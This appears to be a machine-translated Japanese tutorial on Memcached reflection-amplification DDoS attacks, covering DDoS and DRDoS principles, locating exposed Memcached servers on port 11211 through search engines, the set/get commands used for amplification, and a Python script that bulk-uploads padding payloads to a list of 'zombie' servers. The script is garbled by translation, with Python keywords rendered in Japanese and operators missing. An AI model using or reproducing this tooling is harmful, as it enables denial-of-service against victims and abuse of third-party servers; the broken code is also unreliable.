この反射的なサービス拒否攻撃テクノロジーは、グローバルなインターネット分散MEMCachedサーバーに基づいています。セキュリティ攻撃と防衛知識、ネットワークプロトコルの知識、Pythonコードプログラミングテクノロジーの予備が必要です。この記事の知識を学ぶ前に、関連する基本的な知識を自分で学びたいと思っています。記事の最後には参照リンクがあります。
memcachedシステムについて
Memcachedは、無料でオープンソース、高性能、分散メモリオブジェクトキャッシュシステムです。 Memcachedは、LiveJournalの子会社であるDanga Interactiveの子会社であるBrad Fitzpatricによって最初に開発されたソフトウェアです。 Mixi、Hatna、Facebook、Vox、LiveJournalなどの多くのサービスでWebアプリケーションのスケーラビリティを改善する重要な要素になりました。Memcachedは、任意のデータ(文字列、オブジェクト)の小さなチャンクを保存するために使用されるメモリベースのキー値ストレージです。これらのデータは、データベース呼び出し、API呼び出し、またはページレンダリングの結果です。 Memcachedはシンプルで強力です。そのシンプルな設計は、急速な発展を促進し、開発の難易度を軽減し、大規模なデータキャッシュの多くの問題を解決します。そのAPIは、最も一般的な開発言語と互換性があります。基本的に、それは単純なキー価値ストレージシステムです。使用の一般的な目的は、データベースのクエリ結果をキャッシュし、データベースアクセスの数を減らして、動的Webアプリケーションの速度とスケーラビリティを改善することです。
分布DDOSの原理
分散サービス拒否(DDOS:Distributedサービス拒否)攻撃とは、クライアント/サーバーテクノロジーを使用して複数のコンピューターを1つ以上のターゲットにDDOS攻撃を開始するための攻撃プラットフォームとして団結させ、それにより、サービス攻撃の拒否の力を指数関数的に増加させることを指します。通常、攻撃者は盗まれたアカウントを使用してDDOSマスターをコンピューターにインストールし、設定された時間に、マスターはネットワーク上の多くのコンピューターにインストールされている多数のエージェントと通信します。エージェントは、命令が受信されたときに攻撃を開始します。クライアント/サーバーテクノロジーを使用して、マスタープログラムは数秒で数百または数千のエージェントの実行をアクティブにすることができます。
反射DRDOSの原理について
DRDOSは、英語の「分散反射拒否」の略語です。 DOSやDDOSとは異なり、この方法は、被害者のIPアドレスを含む多数のデータパケットを攻撃ホストに送信することに依存しており、攻撃ホストはIPアドレスソースに多くの応答を行い、サービス攻撃の拒否を形成します。
攻撃プロセス
DDOS攻撃プロセス
この攻撃プロセスを完了するには、少なくとも3つのステップが必要です。
1攻撃者は、多数のブロイラーマシンを手に制御する必要があり、分散分布はインターネット上で配布されます。
2攻撃者は、いつでもプロキシプログラムまたは制御プログラムを通じて、すべてのブロイラーに多数の攻撃指示を送信できます。
3指示を受け取った後、すべてのブロイラーは、被害者のネットワークまたはホストに多数の同時攻撃を同時に行います。
drdos攻撃プロセス
DRDOSは、反射増幅攻撃を完了する必要があります。
1。攻撃者は、すべてのオンラインブロイラーまたは反射サーバーに事前に攻撃データを保存する必要があります。
2攻撃者はIPソースを偽造する必要があります。 IPソースの偽造に多数のリクエストを送信します。もちろん、ここのIPは被害者のIPアドレスです。
3.反射サーバーは、データを反映し、しっかりと安定して実行できる必要があります。より少ないデータを要求し、データの増加を何万回も返すのが最善です。
この方法で絶えず流通することにより、帯域幅ネットワークを大規模に攻撃し、占有率を上げ、ターゲットマシンのハードウェアリソースを消費できます。
memcachedを使用して実装されたDRDOS攻撃反射プロセス
サバイバルマシン
まず、多数の反射サーバーを見つけて、検索エンジンを使用してグローバルに利用可能なオンラインサーバーを発見する必要があります。ここでは、一時的にZoomeyeを使用して収集しています。Shodanなどの他の検索エンジンも使用できます。デフォルトのオープニングポート番号は11211です。ChuangyudeZhong Kui Eye Space Engineを使用して、世界中の538,317マシンを検索して11211ポートを開き、Memcached Cacheサービスシステムを実行しました。ただし、別の使用条件があります。つまり、デフォルトでログインできるマシンを有効にするかどうかをさらに選択して、使用できるようにする必要があります。一部はすでにセキュリティ認証を設定しているため、使用できません。 (ネットワーク全体で50,000を超えるサーバーが公開されましたが、そのうち1,000以上が有効に検証され、利用可能であるため、ここでは発表されません)
通信プロトコル
プロトコルから、Memcacheは同時にTCPとUDPに耳を傾けます。つまり、相互作用とコミュニケーションを同時に開始できる2つのプロトコルをサポートします。これは非常に重要です。 TCPプロトコルとUDPプロトコルの違いを確認できます。 TCPはバイトストリームであるため、パケットの境界はありません。サイズは関係ありません。一度に受信したデータは、送信および受信キャッシュの実装とサイズに依存します。
TCPに制限はありません。TCPパケットヘッダーには「パッケージの長さ」フィールドはありませんが、フレーム分割を処理するためにIPレイヤーに完全に依存しています。
ただし、UDPプロトコルは異なります。接続に基づいてターゲットマシンにデータを直接送信するわけではありません。
この長さのフィールドは2バイトのみを占めることに注意してください。したがって、UDPプロトコルのデータ送信に制限があり、1回の最大送信は2^16=65535=64kbです。
大規模なデータパケットを送信する場合は、TCPプロトコルまたはUDPのみを使用して複数回送信できます。ここでテストしましたが、両方のプロトコルを実装できます。
まとめ:
1。TCPは接続に接続されています(電話をかけるときに最初に接続を確立するためにダイヤルアップする必要がある場合)。 UDPは接続せずに接続されています。つまり、データを送信する前に接続を確立する必要はありません。
2。TCPは信頼できるサービスを提供します。つまり、TCP接続を介して送信されるデータはエラーがなく、失われ、反復的であり、順番に到着します。 UDPは、提供するためにあらゆる努力をしています。つまり、信頼できる配送を保証しません。
3。TCPはバイトストリームに向けられていますが、実際、TCPはデータを一連の構造化されていないバイトストリームと見なしています。 UDPはパケットに向けられています。 UDPには混雑制御がないため、ネットワークの混雑はソースホストの送信率を下げません(IPフォン、リアルタイムビデオ会議などのリアルタイムアプリケーションに役立ちます)。
4.各TCP接続はポイントツーポイントのみです。 UDPは、1対1の、1対1の、多目的で、多くのインタラクティブなコミュニケーションをサポートしています。
5。TCPヘッダーオーバーヘッドは20バイトです。 UDPヘッダーのオーバーヘッドは小さく、わずか8バイトです。
6。TCPの論理通信チャネルは、完全なデュプレックスを備えた信頼性の高いチャネルであり、UDPは信頼できないチャネルです。
さて、これを理解した後、TCPおよびUDPプロトコル通信に基づいてMemcached Cacheシステムの使用方法を見てみましょう。 Memcachedシステムは、1Mの最大キー値の単一データストレージをサポートしているためです。したがって、最大1Mしか保存できません。もちろん、複数のフィールドを作成することもできます。これも拡大します。まず、フローチャートによると、Payloadを事前にリモートサーバーに保存します。ここにデータがあります。 TCPプロトコルを使用して、1Mを一度に送信できますが、UDPを使用する場合は、1Mデータ送信を完了する前に複数回サイクルを送信する必要があります。 UDPの不安定性により、パケットは信頼できるとは限りません。ここでは、送信にTCPを使用することをお勧めします。
データ形式
Memcachedはシンプルで強力です。そのシンプルな設計は、急速な発展を促進し、開発の難易度を軽減し、大規模なデータキャッシュの多くの問題を解決します。そのAPIは、最も一般的な開発言語と互換性があります。基本的に、それは単純なキー価値ストレージシステムです。
使用の一般的な目的は、データベースのクエリ結果をキャッシュし、データベースアクセスの数を減らして、動的Webアプリケーションの速度とスケーラビリティを改善することです。
すべてのコマンドと操作がサポートされています。
memcachedストレージコマンド
memcached setコマンド
memcached addコマンド
memcached交換コマンド
memcached appendコマンド
memcached prependコマンド
Memcached CASコマンド
memcached findコマンド
memcached getコマンド
Memcached Gets Command
memcached deleteコマンド
memcached incr/decrコマンド
memcached Statisticsコマンド
memcached statsコマンド
memcached statsアイテムコマンド
memcached stats slabsコマンド
memcached statsサイズコマンド
memcached flush_allコマンド
ここでは、これらの3つの方法が攻撃プロセスに関与するため、3つのタイプのコマンドに焦点を当てます。
1つ目は、ペイロードmemcached setコマンドをアップロードすることです
MEMCached SETコマンドは、指定されたキーに値を保存するために使用されます。
セットのキーが既に存在する場合、コマンドはキーに対応する元のデータを更新できます。これは、更新機能を実現することです。
セットコマンドの基本的な構文形式は次のとおりです。
キーフラグを設定しますexptimeバイト[noreply]
価値
パラメーターは次のとおりです。
キー:キャッシュ値を見つけるために使用されるキー価値構造のキー。
フラグ:キー価値ペアの整数パラメーターを含めることができます。これは、クライアントがキー価値ペアに関する追加情報を保存するために使用することができます。
exptime:キャッシュでキー価値ペアを保存する時間の長さ(秒単位では、0は永遠に意味があります)
バイト:キャッシュに保存されているバイト数
noreply(オプション):このパラメーターは、データが不要であることをサーバーに伝えます
値:保存された値(常に2行目)(キー価値構造の値として直接理解できます)
2番目の反射ペイロードMemcached Getコマンド
memcached getコマンドは、キーに保存されている値(データ値)を取得し、キーが存在しない場合は空に戻ります。
GETコマンドの基本的な構文形式は次のとおりです。
キーを取得します
次の:のように、複数のキーがスペースで区切られています
key1 key2 key3を取得します
パラメーターは次のとおりです。
キー:キャッシュ値を見つけるために使用されるキー価値構造のキー。
3番目は、リモートサーバーを終了することです。 Quit \ r \ nコマンドで十分であり、パラメーターがなければ、キャリッジの戻りとラインブレイクを注意してください。
攻撃手順
ペイロードの自動アップロード
ここでは、次のステップは、このプロセスを使用してDRDOSリフレクションのサービス攻撃の拒否を実装する方法です。
アイデアは次のとおりです。最初に指定されたデータをMemcachedのリモートオープンサーバーにバッチアップロードし、次にMemcachedサーバーに移動して、データの前のステップに保存されているデータをクエリを要求します。 (このステップは非常に重要です。UDPプロトコルを使用してそれを反映することしかできず、その理由を説明しましょう。)このようにして、データはMemcachedサーバーを介してターゲット被害者マシンに反映できます。ここでは、リモートサーバーへのバッチ自動アップロードのペイロードを実現するプログラムを手動で作成できます。アップロードが完了した後、UDP反射攻撃を実行できます。
ここでは、Pythonスクリプトを使用して、ペイロードデータのアップロードを完了します。
# - * - coding: utf-8-* -
'' '
2018.02.06に作成されました
@Author: 5T4RK
'' '
#!/usr/bin/python
ランダムをインポートします
sysをインポートします
ソケットをインポートします
socket_timeout=10.0
bulets_size=10 * 1000
def reload_zombies_list(zombies_server_path):
try:
Global Zombies_list
if(len(zombies_server_path)1):
戻る ''
f:としてOpen(zombies_server_path)を使用します
zombies_list=f.readlines()
zombies_listを返します
例外を除き、E:
e.messageを印刷します
def random_int_char(i):
try:
temp=random.randint(0、2)
temp==0:の場合
return '%c'%(random.randint(0、9) +0x30)
Elif temp==1:
return '%c'%(random.randint(0、25) +0x41)
その他:
return '%c'%(random.randint(0、25) +0x61)
例外を除き、E:
e.messageを印刷します
def prepare_random_data(size_bytes、times):
try:
印刷'[ランダムデータ:%8d回]'%(時間+ 1)
remote_data=''
範囲(0、size_bytes):のiの場合
remote_data=remote_data +(random_int_char(i))
Remote_data.upper()を返します
例外を除き、E:
e.messageを印刷します
def tcp_weapon_function(mem_address、mem_port、data、reload_counts):
if(mem_addressではない):
falseを返します
if(len(data)1):
falseを返します
else:
try:
mem_address=mem_address.strip( '\ n')
mem_address=mem_address.strip( '\ r \ n')
mem_address=mem_address.strip()
server_address=(mem_address、mem_port)
# 送信
client=socket.socket(socket.af_inet、socket.sock_stream)
client.settimeout(socket_timeout)
client.connect(server_address)
print '[現在のnum:%8d Zombie]'%reload_counts
印刷'[Size:%8Dバイトの送信] \ t'%len(data)、 '[アドレス: \ t%14S]'%mem_address
reload_counts=reload_counts + 1
# 送信
count=client.send(data)
カウント1:の場合
result=client.recv(1024)
結果ではない場合:
印刷「[応答なし] '
falseを返します
result=result.rstrip( '\ n')
result=result.rstrip( '\ r \ n')
print '[sended size:%8dバイト] \ t'%count、 '[receed: \ t%14s]'%result
# やめる
count=client.send( 'quit \ r \ n')
カウント1:の場合
print '[sended size:%8dバイト] \ t'%count '[receed: \ t quit success]'
client.close()
例外を除き、E:
印刷'[エラー:'、e.message、 ']'
client.close()
trueを返します
__name__=='__main __' :の場合
zombies_list=[]
current_index=0
コマンド=0
Len(Sys.Argv)==5:の場合
path=sys.argv [1]
command=int(sys.argv [2])
bulets_size=int(sys.argv [3])
socket_timeout=float(sys.argv [4])
reload_zombies_list(パス)
Elif Len(Sys.Argv)==3:
path=sys.argv [1]
command=int(sys.argv [2])
reload_zombies_list(パス)
else:
印刷'example: \ t'
印刷'\ tweapon.py server.txt 1 byte_sizeタイムアウト'
印刷'\ tweapon.py server.txt 2'
印刷'\ tcommand 1 ddos memcache set'
印刷'\ tcommand 2 ddos memcache delete'
印刷「\ tcommand 3 ddosペイロードサイズ」
印刷「\ tcommand 4 ddosタイムアウト(秒)」
出口()
Current_index len(zombies_list):
try:
command==1:の場合
random_value=prepare_random_data(bulets_size、current_index)
action_data='set anvzdgf0zxn0 0 0%d \ r \ n'%len(random_value) + random_value + '\ r \ n'
tcp_weapon_function(zombies_list [current_index]、11211、action_data、current_index)
elif command==2:
action_data='delete anvzdgf0zxn0 \ r \ n'
tcp_weapon_function(zombies_list [current_index]、11211、action_data、current_index)
else:
「エラーコマンド」を印刷する
action_data=''
keyboardinterrupt、e:を除く
印刷'[エラー:スクリプトが停止した[ctrl + c] .]'